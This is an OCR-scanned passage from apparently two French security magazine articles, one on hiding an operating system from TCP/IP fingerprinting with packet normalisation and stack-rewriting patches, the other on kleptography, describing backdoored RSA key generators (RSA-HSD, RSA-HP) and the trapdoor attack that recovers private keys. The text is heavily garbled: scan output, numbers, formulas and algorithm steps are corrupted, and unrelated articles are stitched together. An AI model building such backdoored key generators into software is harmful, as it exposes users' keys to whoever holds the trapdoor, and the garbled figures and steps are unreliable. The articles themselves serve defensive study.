Software Version B7.6.818751" (Guess probadility: 5O%

[+] Host 192.168.8.52 Running 0S: “Foundry Metworks Device (Bia/Net/Fast Iron)
Software Version B7.5.85KT63" (Guess probadility; 50%)

[..]

Ces résultats sont intéressants, imap n'a pas dans sa liste FreeBSD
du tout, et Xprobe hésite entre plusieurs systémes bien differents.

Les tests contre Linux

Maintenant, les mémes tests que dans la section 4.3. avec
les modifications des éléments de la MIB Linux (RFC1323=0,




taille de la fenétre non modifiée), avec le méme dispositif de
filtrage (normalisation de paquets, reécriture de I'ISN, et stateful
|nspeccron)

P8 Tl

1. 3.0 on an IBM RS/* (BBE). IBM AIX 4.3

o for nost (test conditions non-ideal)

knann-freebsds, 350=4/ 2857

1

T2 Resp=h1
Ti{Resp=i]
'i'Faqr:

Ti!ﬂn(g_“l

=
=
=
=
R
)
e
o
o
P
=

agathons xprobe? -p tcp:22:open -p topddicios
udp:514:0pen rhie

1
i)

:+_ Primary guess:

5: "Wicrosoft Nindows WT 4 Morkstation Service

BRCLC ¢
8.8.60 Running 08
t 192.168.0.68 Running 0
k 4" (Guess prabability: -1-1?:
[+] Host 192.168.0.66 Ruaning 05:
+] Host 192.168.8.68 Runni |\u 0§;
Host 192.168.9.6@ Running 03: *
1 Host 192.168.9.68 Running 05:
. 168.8.68 Running 05: } 4.3" (huess probabi
L168.0, 68 Running 05: 5.17 (Guess rccahll by: ‘er
168,969 Running 0%: “Microsoft Windows BT 4 Workstation Service
" {Guess probability: 443)

T

3.3" (Guess p
t Windows NT 4 Workstatiom Ser

5.1 (Guess probability: 44%)
]

anility: 443)

37 (Guess pr

1.1% (Guess prot

Puis sans normalisation :
agathon?% nmap -p 22,23 -0 -vv —osscan_guess -8 rhil

STATE.  SERYICE

22tep apen 5sh

23/tep filtared telnet

general purpnse

ing (JUST BUESSING) : Linux 2.4.K12.6.% (938), Mig

95/G8/ME|NT/2K/AP (B5%)

hggrassive 05 guesses: Linux 2.4.18 - 2.4.19 wio tep_timestamps (433}, Linux
4 Li i

24,7 (KBE} (93%), Linux 2.6.8-test5-Toved (8] (933 22 [XB6)
w/grsecurity patch and with timestamps disabled (863), t Nindows NT 3,51
5P NT 4, /9BSE (B%)

for host (test conditions nom-ideal ).
cnown- freebsdd, 4h0=4/ PEET ime=3EAZ9EA2%0=22k0=-1)

SRR 1ags=ASED

=Yik=1A00BACK=5++RF Tags=hS

Ti{Resp=h)

PUCResp=N

“Wicrasaft Windows NT 4 Werkstation Service

(Guess probadilit

"'"JEuqﬂ

R

Voir le Tableau 4, page suivante, pour un recapitulatif des resultats
précédents, et de ceux non mentionnés (résultats des outils simplifies
pour raison de clarté).

Conclusion, on voit bien que la normalisation de paquets, associée
au filtrage et 4 la personnalisation IP permet de bien masquer son
OS, en limitant fortement la fuite d'information. Mais il y a des
impacts quant aux performances, puisqu'il faut recalculer le checksum
des en-tétes IP et TCR

Il faut noter ici que de toute fagon, utiliser la normalisation de
paquets, un filtrage complet (ne laisser passer que ce gui serta la
fourniture du service voulu) associé a l'inspection de ['état est une
bonne pratique de sécurité [16], il faut donc ['activer tout le temps
pour protéger les réseaux.

5. Application de patches a la pile IP
5.1. FreeBSD fingerprint scrubber [17]

Le fingerprint scrubber a pour but d'anonymiser une pile IP (plutt
un réseau de piles IP), non de l'usurper, ou pire de contrer nmap
uniquement.

De cette maniére, il est impossible de trouver un mécanisme de
contournement, puisque les paquets sont réeécrits de maniere
uniforme, indépendamment du type de probe. Il est  placer a 'entrée
d'un réseau, pour uniformiser les signatures des machines a proteger.

Ainsi, un réseau hétérogene se transformera en un reseau
homogene, du point de vue IP. En fait, cela fonctionne comme un
reverse proxy IP.

8 |P scrubbing
I. Réassemblage des fragments, 'algorithme utilisé étant celui
de FreeBSD 2.2.8, avec quelques petites modifications ;

2. Changement des flags IP. comme le champ T05 (Type Of
Service) et des bits concernant la fragmentation. Pour ce qui
est du 705, certaines combinaisons sont invalides et sont donc
enlevées. Le bit don’t fragment est automatiquement enleve,
mais comme cela casse le PMTUD (Path MTU Discovery [18]),
une option existe pour le désactiver.

00T 0oepan - | ISijy




m Se protéger contre U'identification par prise d'empreinte TCP/IP
~J

8 |CMP scrubbing
|. La copie des en-tétes IP contenus dans les messages (1P
d'erreur en retour (exemple : (1P port unreachable) sont
tronques a 8 octets, puisque de nombreuses différences dans
les implémentations IP font que I'OS peut étre identifié par
ce parametre ;

2. Limitation du nombre de messages ICMP génerés en
réponse a des probes.

8 TCP scrubbing

I..Un mécanisme simplifie de stateful inspection est utilisé afin
de ne laisser passer que les segments TCP en rapport avec
une connexion etablie. Le but étant ici de bloguer les scans
de ports steafth souvent utilisés dans les préliminaires a I'OS
fingerprinting ;

2. Changement de I'ordre des options TCP dans un format
unique, les options connues de la pile de FreeBSD placées
en premier, les inconnues ensuite. Ce parameétre est
configurable par ['utilisateur. En effet, 'ordre des options TCP
est un parametre important dans l'identification d’OS ;

3. Grice au meécanisme de stateful inspection, I'ISN peut
egalement étre réecrit.

# Changement des algorithmes de retransmission et du nombre
de paquets emis
|. Le principe est de changer I'algorithme de retransmission
des paquets (dependant bien sdr d'une implémentation
TCP/IP). Cette option n'a pas été implémentée dans fingerprint
scrubber, mais est evoquée dans 'article ;

2. Limitation du nombre de paquets genérés, seule cette
protection est impléementee, et concerne les messages ICMP
de retour consecutifs a des scans.

Les résultats décrits dans le papier sont les suivants (une tentative
de joindre par courriel les auteurs s'etant révelée infructueuse,
nous n'avons pas pu tester par nous-méme) :

Machines du réseau cible : FreeBSD 2.2.8, Solaris 2.7 x86, Windows
NT 4.0 SP3, et Linux 2.2.12. Sans le dispositif de scrubbing, nmap
identifie tous les systemes, et avec, il n'arrive méme pas a avoir dans
sa liste d'OS possibles le systeme scanne.

Mais le fingerprint scrubber est sGirement identifiable, puisque son
comportement est statique. Ce n'est pas un probléme, puisque son
but est de bloquer les différences dans les implémentations IP, et
cela marche (enfin, au moins sur |e papier, étant donné qu'il ne
fonctionne que sur FreeBSD 2.2.8).

Donc, dans le pire des cas, on saura qu'il y a un FreeBSD 2.2.8 en
coupure sur le réseau cible.

5.2. Linux IP Personality [19]

IP Personality est un patch pour les noyaux Linux 2.4.18 (et d'autres
versions, voir le site). Il permet de paramétrer le comportement IP,
c’est-a-dire de réécrire complétement les datagrammes via la table
mangle de Netfifter [20]. Une target PERS est ajoutee, et les fichiers
de configuration eécrivent leurs directives & cet endroit.
C'est donc une syntaxe basée sur un langage specifique dans un
fichier de directives qui servira a modifier le comportement de la
pile via cette table mangle de Netfilter.

Tableau 4 Recapitulatif des resultats

Mise |4 - juillet/aoir 2004

FreeBSD 4.9 | 0 B B+R+W B+W+F+S+] BHWAHFHN+SH BHWAHFHSH4R | BHWHF+SHHR+N
nmap FreeBSD 4.x | FreeBSD 4.x | AmigaOS, FreeBSD 4.x-5.x | FreeBSD 4.x-5.x, AmigaOS Miami AlX 4.x, AmigaOS
FreeBSD 4.x-5.x, Windows 2003-NET-
AlX 4.x-5.x INT-2K-XP ALX 4.x
Xprobe FreeBSD 4.x | FreeBSD 4.x | Linux 2.0.x, NetBSD MNetBSD |.3.x-1 4.x-1.5x, | FreeBSD 3.x-4.x, FreeBSD 3.x-4.x,
FreeBSD 3.x-4.x | |.3.x-14:x-1.5%, | FreeBSD 4.x Windows NT 4, Windows NT 4,
FreeBSD 4.x Foundry Networks | Foundry Networks
Device Device
Linux 2.4.18 | O R R+W R+F+5+] R+F+S+I+N
nmap Linux 24.%-25x | Linux 2.4.x Linux 2.3.x a 2.6.x, TiniOS, Linux 2.4.x-2.6.x, AlX 4.x
Netware 4.x-5.x, Lexmark embedded, Windows 95-98-ME-NT-2K-XP
Solaris 2.6-7
Xprobe Linux 2.4.x Linux 2.4.x FreeBSD 3.x-4.x, Linux 2.4.x Windows NT 4, FreeBSD 3.x-4.x | Windows NT 4,
| FreeBSD 3.x-4.x
Légendes i -

¢ () :aucune protection ;
® B : FreeBSD blackhole active ;
I e R : options TCP RFC 1323 désactivees ;

# VW taille de la fenétre maodifiee ;
o F :filtrage (seul un port TCP est accessible, le
reste est détruit) ;

e N normalisation de paquets ;
® S :stateful inspection ; |
o | :reecriture de I'fSN. ‘

# Note : les différences étranges dans les résultats de ces outils en fonction des mécanismes de protection appliqués peuvent s'expliguer par le fait que, pour
certains systemes d'exploitation, I'absence de réponse a un probe est un compertement connu, donc auquel on associe une signature.




Il fonctionne de deux fagons, I'une en coupure (comme fingerprint
scrubber), I'autre en local sur la machine. Suivant |'utilisation, la
configuration de Netfilter différe {via un iptzbles modifie). C'est-a-
dire que les modifications appliquées aux datagrammes se font soit
dans la chaine FREROUTING, soit dans la chaine DUTPUT (ou les deux).
Mais il y a une limitation quant a son utilisation par la chaine
PREROUTING [21].

En gros, il n’est capable de reecrire que les paquets TCP. C'est assez
dommageable, mais si votre réseau ne fournit que des services sur
TCP et qu'une bonne politique de filtrage est appliquée (uniquement
les services offerts sont accessibles), cela n'a aucun impact.

Il est livré avec quelques fichiers de configuration qui sont des régles
ecrites dans I'optique de contrer nmap. lls sont écrits en fonctions
de ses probes, de maniére a lui repondre pour que la signature
construite soit celle que I'on souhaite donner a sa pile. Mais nous
verrons que cela se montre quand méme efficace contre d'autres
outils.

Mais deux gros problémes surviennent avec cette approche
d'usurpation d'identite :
|. Les regles sont ecrites en fonction des probes de nmap : donc
en changeant judicieusement ses probes, on peut contourner
les modifications apportées aux réponses passant par la table
mangle ;
2. Le spoofing de piles IP faibles insére des vulnérabilités
directement dans la pile, comme par exemple rendre le blind TCP
connection hijacking [22] possible (voir dreamcast.conf}. Le
probleme vient simplement du fait que I'on peut facilement
connaitre le numeéro ISN génére suivant.

En prenant le fichier freshsd. conf comme exemple, on voit
clairement que le choix du placement {ou de leur présence) des
options TCP est fondé sur celles demandées par nmap lors de ses
probes. Bien str, on peut améliorer le fichier de configuration, mais
I'approche d'usurpation d'identité est a deconseiller. En clair, surtout
ne pas modifier les réponses en fonction de parametres trop précis
de la requéte [P, il faut étre le plus générique possible (tout en
respectant les RFCs ;) ).

{ /* map has mss on all of 185

Flagstsyndfindurghpush)) £ /* nmap test 1or 3 #

Configurons maintenant la cible a tester pour ressembler a un
FreeBS

1 2s

Le dispositif se montre donc tres efficace, méme si I'outil utilise
n'est pas nmap. Mais hpina peut identifier le systeme cible :
' ohnine . Vi y
1ping -¢ 1 -

th

Clest la taille de la fenétre TCP qui révele la vraie nature de I'OS,
une taille de 5840 est caractéristique d'un Linux 2.4. Parfois, les
tests les plus simples se trouvent étre les plus efficaces ;) .

Regardons un exemple de transformation de la pile. Nous changeons
simplement la taille de la fenétre TCP. Voici a quoi correspond ce

Nous appliquons maintenant ce mangling dans Netfifter (vous noterez
donc que c'est une modification pour les accés a la machine locale
uniquement) :

Un probe
# |-_l--:m,| =

HPTNG

, 4l

i _:(r] 51
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La taille de la fenétre fait donc bien 4096.Si I'on avait appliqué cette
aussi le parametre --local), et que ce Linux faisait office de routeur
filtrant, toutes les machines derriére auraient également bénéficie
de ce changement.

Pour une explication détaillée des possibilités de I'outil, consulter la
documentation qui est tres bien faite [23].

Grice a la puissance du moteur de régles, on peut écrire des fichiers
de configuration trés génériques pour contrer tout type de probes
de detection d'OS. Ainsi, on peut écrire un fichier de régles pour
faire fonctionner IP Personality presque comme le fingerprint scrubber
de FreeBSD 2.2.8 (IP Personality ayant les limitations évoquées plus
haut).

Nous n'allons pas fournir de fichier de configuration parfait, puisqu'il
n'y en a pas. C'est a chacun d'en créer un, de maniere a ce qu'il soit
unique. En effet, l'utilisation d'un fichier de configuration cennu
permettrait d'identifier le routeur filtrant comme utilisant /P
Personality, et donc de savoir qu'il tourne sous Linux 2.4. Méme si
ce n'est pas forcement trés grave, il vaut mieux limiter la fuite
d'information quant 3 la topologie de son réseau, c'est une couche
supplémentaire de sécurité (voir section |.).

Puisque ['utilité maximale pour IP Personality est d’étre sur un routeur
filtrant, on peut le coupler avec une vraie bonne palitique de filtrage,
voire un dispositif de normalisation de paquets. Ainsi, on obtient
des piles IP pas mal protégées contre l'identification distante.

6. Conclusion

La personnalisation |P donne un niveau acceptable de
protection contre la détection d'OS, mais a le probleme de
nécessiter une configuration par machine, et par OS. Mais
nous n'avons testé ici que deux systémes ouverts ; il est
possible également sous Windows de modifier le
comportement IP.Voici quelques réferences [24][25] pour
les lecteurs intéressés par |'expérimentation.

La solution IP Personality est intéressante, mais n'est pas des
plus aisée 3 mettre en oeuvre, puisqu'il est conseille d'écrire
son propre fichier de régles (avec tous les tests de
performances que cela implique) pour avoir une signature
vraiment anonyme.

La solution définitive (méme si non testée dans cet article)
est donc le fingerprint scrubber, mais hélas, il n'y a pas de code
public disponible. Je lance donc personnellement un appel aux
lecteurs, a savoir réaliser une implémentation sur les systémes
d'exploitation ouverts suivants : Linux 2.6.x, FreeBSD 5.x,
OpenBSD 3.x (enfin, si vous avez le temps, hein :-) ).

Il reste donc du travail dans le domaine du masquage de
signature |P, méme si la théorie existe, et semble fonctionner.
Concernant une implémentation commerciale, nous n'avons
pas connaissance a |'heure actuelle d'un produit faisant du
fingerprint scrubbing.
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L’'objectif de cet article est de montrer quelques
techniques qu’un cleptographe peut mettre en ccuvre
pour parvenir a dérober les clés d’autrui. En particulier,
il décrit deux générateurs de clés RSA contenant une
trappe qui permet a qui la connait de calculer facilement
la partie privée a partir de la partie publique.

1. Lart du cleptographe

A de nombreuses reprises, les colonnes de ce journal ont traité de
cryptographie et en particulier de RSA. En particulier, il a eté evoqueé
certains problémes gque I'on peut rencontrer lorsque le protocole
utilisant RSA n'a pas été suffisamment étudié [Jun02, Err03]. D'autres
articles ont montré aussi comment récupérer une clé RSA par
'observation des temps de calcul lors des opérations de
dechiffrement [Bar03b], de leur consommation d'énergie [Bar03a],
ou encore en exploitant les erreurs de calculs [Bar04].

L'objectif de cet article est de montrer quelques technigues qu'un
cleptographe peut mettre en ceuvre pour parvenir a ses fins. Qu'est-
ce qu'un cleptographe et quels sont ses buts ?

Le terme cleptographe a ete introduit en 1997 par Adam Young et
Moti Yung [YY927] pour désigner toute personne cherchant a
s'emparer des clés cryptographiques d'autrui. La cleptographie est
['art du cleptographe.

Quels moyens le cleptographe peut-il envisager pour atteindre son
but ? Deux cas de figure se présentent a lui :
I. Les clés dont il cherche a s'emparer ont été produites par un
genéerateur du marche. Dans ce cas, il peut tenter de pénétrer
le systeme hébergeant les clés visées (par exemple au moyen
de virus [Fil02]), ou si cela est impossible (cartes a puce) tenter
les procedes décrits dans [Bar03b, Bar03a] s'il a la possibilité de
mesurer |'énergie consommeée ou les temps des opérations
effectuées par le titulaire de la clé.
2. Les clés ont été obtenues a 'aide d'un générateur dont il est
I'auteur. C'est dans cette situation que se place cet article.

Une technique simple que peut déployer un cleptographe afin de
construire un générateur qui lui permettra de retrouver sans trop
de peine les clés qu'il produit, est de réduire I'entropie du générateur
d'alea qu'il utilise.

La reduction d'entropie peut aussi bien s'appliquer aux générateurs
de cles symétriques qu'aux clés asymetriques. Cette réduction de
I'entropie n'est d'ailleurs pas toujours délibérée comme le montre
I'enigme posee par Kostya Kortchinsky dans [Kor04].

Une autre technique, applicable aux générateurs de clés
asymeétriques, consiste 3 y introduire une trappe : un moyen de
dissimuler dans la partie publique de la clé une information dont
I'exploitation permet un calcul aisé de la partie privee. Adam Young
et Moti Yung, déja cités, et plus récemment Alain Slakmon et Claude

|1 Entropie d’un générateur

Tout générateur de clés cryptographiques a recours a une
source de nombres aléatoires. Le plus souvent, cette source
est simulée par un programme et les nombres qu'elle délivre
sont qualifiés plutot de pseudo-aléatoires, puisqu'ils sont
produits par un procedé entierement déterminé qui n'a plus
rien a voir avec le hasard. Si on connait a un instant donneé
I'etat de la source, alors la suite des nombres qu'elle produira
ulterieurement est entierement determinee. || est donc
important, lors de la genération de clés cryptographiques,
d'initialiser cette source de maniére a la rendre la plus
imprévisible possible. L'entropie est une mesure de cette
imprévisibilité, Elle peut étre définie comme le nombre
minimal de questions binaires {(a réponse oui/non) gu'il faut
poser en moyenne afin de connaitre ['état initial de la source,
et se mesure en bits. Par exemple, si la source peut prendre
1024 états numeérotes de 0 a 1023, chacun d'entre eux ayant
les mémes chances d'étre I'état initial, 'entropie est égale a
10 bits, puisqu’il suffit de determiner chacun des |0 bits de
I'écriture binaire d’'un nombre compris entre 0 et 1023.
L'entropie d'une source d'aléa est donc liee au nombre d'etats
qu'elle peut prendre initialement et a la distribution des
probabilités que chacun d'eux soit choisi.

Crépeau [C503] ont montré comment réaliser de tels générateurs.
Ces derniers ont d'ailleurs mis au défi de distinguer leurs générateurs
de cles RSA a trappes d'un générateur ordinaire, et ceci aussi bien
par l'analyse d'echantillons de clés produites, que par ['analyse du
temps mis & leur géneration. Cet article décrit deux de ces
générateurs : RSA-HSD et RSA-HP.

2. Générateur de clés RSA

Rappelons qu'une paire de clés RSA est constituee de trois nombres :
= un entier n egal au produit de deux nombres premiers distincts
p et g, nommeé modulus ;
= un entier e premier avec l'entier @(n) = (p-1)(g-1), nommeé
exposant public ou encore exposant de chiffrement ;
= un entier d inverse de e modulo @(n), nomme exposant privé
ou encore exposant de déchiffrement.

Les entiers n et e constituent la partie publique de la clé, ils servent
a chiffrer les messages destinés au titulaire de la clé, ou a vérifier
les messages que celui-ci a signes. L'entier d est la partie privée de
la clé, connu de son seul titulaire, grice auquel celui-ci peut déchiffrer
les messages chiffres qu'il recoit ou encore signer des messages.

La sécurité du systeme RSA repose sur l'impossibilité pratique de
déterminer |'exposant privé en connaissant uniquement le modulus
et I'exposant public. Cela nécessite en particulier I'impossibilite
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pratique de retrouver les deux facteurs premiers du modulus.
Compte tenu de la technologie actuelle et des connaissances
mathématiques sur la factorisation des entiers, on estime qu'il faut
que la taille du modulus soit d'au moins 1024 bits (et donc que ses
deux facteurs premiers soient d'au moins 512 bits).

Voici I'algorithme RSA pour générer une paire de clés
RSA de taille ¢ :

|. Génerer deux nombres premiers p et g de taille t/2, et
poser n = px g,

2. Génerer e premier avec @(n) = (p-1)(g-1),

3. Calculer d = e-!/{mod p{n) ),

4. Retourner n, e et d

La phase de caleul la plus importante 2 'exécution de cet algorithme
est la recherche des deux nombres premiers!. En comparaison, les
deux étapes suivantes nécessitent une quantité de calculs qui peut
étre considerée comme négligeable.

On peut méme imposer une valeur fixe a e (dans ce cas il faut
imposer aux nombres premiers p et g d'étre tels que p-| et g-|
n'aient aucun facteur commun avec ). Il est frequent de rencontrer
des clés dont I'exposant public vaut 65537. L'avantage de donner
une petite valeur a 'exposant public est de réduire considérablement
le nombre de calculs a effectuer dans les opérations de chiffrement
de messages et de vérification de signatures. Mais donner une petite
valeur a e implique que d est du méme ordre de grandeur que n,
et par voie de conséquence, assure une charge de calcul plus
importante dans les opérations de dechiffrement ou de signature.

3. Un générateur hiaisé exploitant
'attaque de Wiener

Alors pourquoi privilégier la tiche des opérations publiques
(chiffrement et vérification) par rapport a celles des operations
privees (déchiffrement et signature) ? Pourquoi ne pas donner une
petite valeur ad ?

L'attague de Wiener

Cette question a été débattue jusqu'a ce que Michael Wiener
[Wie90] montre que dés que la taille de 'exposant privé ne dépasse
pas le quart de la taille du modulus, il est possible de calculer en
temps polynomial cet exposant privé avec la seule connaissance de
|a cle publique.

Remargque : L'attaque de Wiener sur les petits exposants prives
n'exige pas la factorisation de n. Mais si on connait e et d, il devient
aisé de factoriser n par une methade probabiliste.

Le débat est donc bien clos : il ne faut surtout pas que I'exposant
privé soit trop petit. Si tel est le cas pour votre clé RSA, ne I'utilisez
plus, jetez-la et créez-en une nouvelle ! 5i la nouvelle clé présente
le méme defaut, jetez aussi votre générateur de clés RSA :il est
biaise !

Un exemple

A la clé publique
n = 157520840910101850256514881513749926293
e=18%110575137812435359219282883 10026705

correspond un petit exposant prive. On peut le retrouver en
calculant le developpement en fraction continue de & dont
voici le debut :

Les convergents (c'est-a-dire les nombres rationnels obtenus
en tronquant la fraction continue) donnent des approximations
de & d'autant meilleures que I'on prend davantage de termes
de la fraction continue. Voici les premiers d'entre eux :

3 88 619 1326 3271 7868

1
8 25 733 5156 11045 27246 65537

Ce qu'a mis en évidence M. Wiener, c'est que si 'exposant
privé est bien petit, alors c’est I'un des dénominateurs. || suffit
de le rechercher en tentant de déchiffrer le message chiffre
de son choix. En chiffrant le message m = 2, on obtient c = m*®
(mod n ) =23981944814984286195825971250234078836.
Puis aprés quelques essais infructueux avec les premiers
dénominateurs, on trouve 63337 (mod n ) = 2. L'exposant privé
est donc 65537.

Le générateur RSA-HSD

Evidemment, biaiser un générateur en lui imposant de ne produire
que de petits exposants privés n'est pas tres discret. |l est cependant
possible de camoufler ce biais en introduisant dans le genérateur
une trappe qui déguise un petit exposant prive en un grand. C'est
le générateur RSA-HSD (HSD = Hidden Small Decryption exponent
ou petit exposant prive caché) proposé par Alain Slakmon et Claude
Crepeau [C503]. Le principe de ce générateur consiste a construire
une paire de clés dont I'exposant privé est petit, puis a transformer
I'exposant public a I'aide d'une transformation 73 paramétrée par
une trappe secréte B pour obtenir un nouvel exposant public, et
enfin a calculer I'exposant privé correspondant.Avec une trés grande
probabilite, ce nouvel exposant prive est grand et la cle RSA ainsi
produite semble tout a fait ardinaire.

Une trappe possible consiste a2 modifier certains bits fixés de
I'exposant public trouvé dans la premiére phase (ce qui revient a

! Dans la pratique on impose des conditions supplémentaires a ces nombres premiers, comme par exemple celle d'exiger que p-| et g-| aient un grand facteur premier. Neous

negligeons ici cet aspect qui ne change en rien le propos qui suit.




faire un ou-exclusif entre cet exposant et un nombre fixé [3). Avec
I'exemple de paire d'exposants envisages, ci-dessus, pour laquelle
d = 65537, en calculant e’ = e@® S avec 3 = 62, 0n obtient :

e' = 189110575137812435359219282883 | 0026705® 62

= 189110575137812435359219282883 10026735
et 'exposant prive correspondant est :

d' = lle' (mod @(n) )
= 19382782558919166019908719423241643391
L'exposant privé ainsi obtenu a une taille comparable a celle du

medulus, et |a clé RSA produite ne semble pas sensible a ['attaque
de Wiener.

|Pas n'importe quelle trappe

Dans une premiére version, Claude Crépeau et Alain Slakmon
avaient proposé comme transformation e’ = (e+ff) (mod n-
| ) ot § est un nombre pair. Cependant, comme I'a montré
Serge Vaudenay, cette transformation ne résiste pas a 'analyse
d'un échantillon de clés produites par un tel générateur. Car,
si r est un nombre premier qui divise a la fais n-1 et @(n),
alors e’ et f3 different modulo r. Si en plus B n'est pas divisible
par retsis = ff(mod r),e(mod r) ne sera jamais égal a s.
Avec un echantillon de clés dont |a taille est de |'ordre de
13, taille tout a fait raisonnable si r est petit, il est possible de
se rendre compte que e’ {modr) =s.

| Voici I'algorithme RSA-HSD qui génere une paire de clés
| RSA de taille t avec une trappe fi:

|. Genérer deux nombres premiers p et g de taille t/2

et poser n = pX q,

2. Générer un entier impair 4 de taille <¢/4, premier avec @(n),
3. Calculer £ = &' (mod @(n) ), puis e = (e,

4. Recommencer les points 2 et 3 tant que € et ¢(n) ne sont
pas premiers entre eux,

5. Caleuler d = e! {mod ¢@(n) ),

6. Retourner n, e et d.

Comme le soulignent ses auteurs, il n'est pas facile de distinguer
des clés générées par cet algorithme de celles générees par
I'algorithme RSA si on ne connait pas la trappe, et ceci aussi bien
par I'examen des trois nombres constituant les paires de clés que
par la comparaison des temps d'exécution de ces algorithmes.

En effet, 'essentiel du temps d'exécution est consacré a la generation
des deux nombres premiers.

Voici I'algorithme d'attaque. La donnée de cet algorithme est la
partie publique d'une clé RSA produite par RSA-HSD et il calcule
la partie privée correspondante. Il necessite bien entendu la
connaissance de la trappe utilisee.

I. Calculer & =ng"!(e),

2. Calculer & par la methode de Wiener,

m 1 ' Structure d'un modulus produit par RSA-HP

| VB bits 4 bita

n=pg= T u;ﬂu:n | L3

tbity

3. Factoriser n a partir de € et 6,

4. Calculer d a partir de e et la factorisation de n.

Observons cet algorithme sur notre exemple. La cle publique a
casse est !

n=157520840910101850256514881513749926293
e’ = 189110575137812435359219282883 10026735

La trappe est 3 = 62. On commence par calculer :
£=e'®62=18911057513781243535921928288310026705

Puis on retrouve |'exposant privé & = 65537 correspondant.
Connaissant le couple d'exposants public/prive, on factorise ensuite
le modulus par la méthode probabiliste evoquee plus haut pour
trouver :

n = 1638060839374 1151607% 9616299781044079699
Enfin, on en deduit ['exposant privé associe a e':
d'= l/e' (mod ¢(n) )
= |93827825589191660199087 1942324 1643391

4. Le générateur RSA-HP

§'il peut étre difficile de repérer |a trappe dans les clés générées
par RSA-HSD, il n'en reste pas moins que celui-ci n'offre aucune
possibilité d'imposer la valeur de 'exposant public ; en particulier,
il n'est pas possible de fixer la valeur e = 65537 comme c'est souvent
le cas. Le générateur RSA-HP (HP = Hidden Prime ou premier
cache), propose lui aussi par Alain Slakmon et Claude Crepeau, se
débarrasse de ce défaut en permettant de choisir I'exposant public.

Ce genérateur repose sur un algorithme polynomial de factorisation
d'entiers produit de deux nombres premiers dés que la moitié des
bits de I'un des deux facteurs est connue. Cet algorithme, initialement
proposé par Don Coppersmith [Cop%6], ameliore ensuite par Dan
Boneh, Glenn Durfee et Yair Frankel [BDF98], s'appuie sur
l'algorithme LLL de recherche d'un plus petit vecteur dans un réseau.
Il n'est pas envisageable de I'exposer dans ces lignes.

Le principe de RSA-HP consiste a produire une paire de clés RSA
dont le modulus contient une version camouflée i 'aide d'une
trappe de la moitié haute de I'un des deux facteurs premiers (cf
figure 1).5i le modulus n a une taille égale a t bits, il contient les t/2
bits de poids fort (17} de l'un de ses facteurs (p) transformes par
une permutation (1) pour en obtenir une version camouflee (u).
Ces t/2 bits sont placés dans la partie haute du modulus, en prenant
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garde toutefois de ne pas les placer a I'extrémité haute, mais de
laisser t/8 bits intacts (7), afin d'échapper a un test de répartition
statistique des bits |es plus hauts des modulus produits par ce
générateur. Si on parvient a construire un tel modulus, alors il devient
possible & quiconque connait le camouflage de reconstituer 71 a
partir de (4, puis de factoriser n a l'aide de I'algorithme evoque
ci-dessus, et enfin de calculer d a partir de e et de la factorisation
de n.

Comment donc peut-on parvenir a construire un tel modulus ?
Comment arriver a camoufler la moitié des bits de p dans n = pq !
L'idée est subtile. Elle consiste a générer le nombre premier p (en
vérifiant que p-| est premier avec |'exposant e choisi) et de le
multiplier par un nombre impair de méme taille g’ choisi au hasard.
On obtient alors un entier n’ de la taille du modulus souhaité mais
qui n'est pas encore le modulus. On découpe I'écriture binaire de
cet entier n’en trois tranches :

1. 7=n"| Y8, les U8 bits les plus hauts de n',
2. 4= n'| ¢s5. les 5t/8 bits de poids faibles,

3_._3'._|_a tranche de /4 bits intermediaire.

On remplace ensuite la tranche (i par le camouflage u = n'ﬁ(jﬂ 4y
de la moitié haute de p obtenu i l'aide de la permutation &
paramétrée par un secret 3 (la trappe). On obtient un nouvel entier
n” qui n'est certainement pas encore un modulus valide. On calcule
le quotient entier g de n” par p en corrigeant éventuellement son
bit de poids faible afin de s'assurer que g est impair. Puis, on
transforme les quelques bits de poids faible de cet entier q jusqu'a
obtenir un nombre premier. Parvenu a ce stade, le produit de p par
g est un modulus n dont les 3t/8 bits de poids fort sont les mémes
que ceux de n’ puisque les 3t/8 bits de poids forts de la valeur finale
de g sont les mémes que ceux de la valeur initiale.

Le générateur RSA-HP a un temps d'exécution tout 2 fait similaire
a celui du générateur RSA, 'essentiel des calculs résidant dans la
genération des deux nombres premiers.

Voici une description de I'algorithme RSA-HP. L'exposant
e et la taille t en sont des parametres. f est une trappe
dissimulée dans le générateur.

I. Générer un premier p de taille t/2 tel que e et p-1 premiers
entre eux,

2. Génerer un impair g’ de taille t/2 et poser n’ = pq’,

3. Calculer 7= n’] 18, U= Jtﬁ (ﬂ et A= n'] 548

4. Poser n” = (7] fl) etg= [ m’pJ + (£ 1)/2 tq g impair,
5. Tant que pged(e,g-1)>1 ou g compose

choisir un entier m pair de taille t/8 et poser g = g m,

7. Calculer d = e'!(mod @(n) ),

8. Retourner n, e, d.

5. Conclusion

Aucune preuve de non-détection des trappes contenues dans
ces générateurs n'a été etablie (et il n'en existe probablement
pas). Mais aucun procéde effectif de détection n'a encore ete
proposeé. I reste donc un important travail a effectuer dans
cette direction. Sans entrer dans une paranoia démesuree,
ces générateurs montrent une fois de plus, si besoin est, la
nécessité absolue de ne jamais s'en remettre 3 des boites
noires dans les outils cryptographigues utilisés.

Le lecteur intéressé par I'expérimentation pourra trouver
les codes sources de ces générateurs biaises a |'adresse :
hetp:fwww.lifl.fr/~wegrzyno/clesRSA.

] g r
- | Réferences

= [Bar03a] Georges Bart. Récupérez une clé RSA par la prise de courant.
MISC, 7:76-81, mai-juin 2003.

® [Bar03b] Georges Bart. Récupérez votre code pin ou une clé RSA avec un
chronométre, MISC, 6:77-81, mars-avril 2003.

= [Bar(4] Georges Bart. Comment récuperer une clé RSA avec un
marteau ! MISC, | |:76-80, janvier-fevrier 2004.

® [BDF98] Dan Boneh, Glenn Durfee, and Yair Frankel. An attack on RSA
given a small fraction of the private key bits. In Asiacrypt'98, volume 1514
of LNCS, pages 25-34. Springer-Verlag, 1998.

= [Cop%6] Don Coppersmith. Finding a small root of a bivariate integer
equation. In U. Maurer, editor, Advances in Cryptology - EUROCRYPT'96,
volume 1070 of LNCS, Springer-Verlag, | 996.

= [CS03] Claude Crépeau and Alain Slakmon. Simple backdoors for RSA
key generation. In M. Joye, editor, Topics in Cryptology :The Cryptographers’
Track at the RSA Conference 2003, volume 2612 of LNCS, pages 403-416,
april 2003.

® [Err03] Robert Erra. Attaques de protocoles RSA. MISC, 10:76-80,
novembre-decembre 2003.

[Fil02] Eric Filiol. Applied cryptanalysis of cryptosystems and computer
attacks through hidden ciphertexts computer viruses. Rapport de recherche
4359, INRIA, 2002.

= [Jun02] Pascal Junod. Problémes d'implémentation de la cryptographie. Les
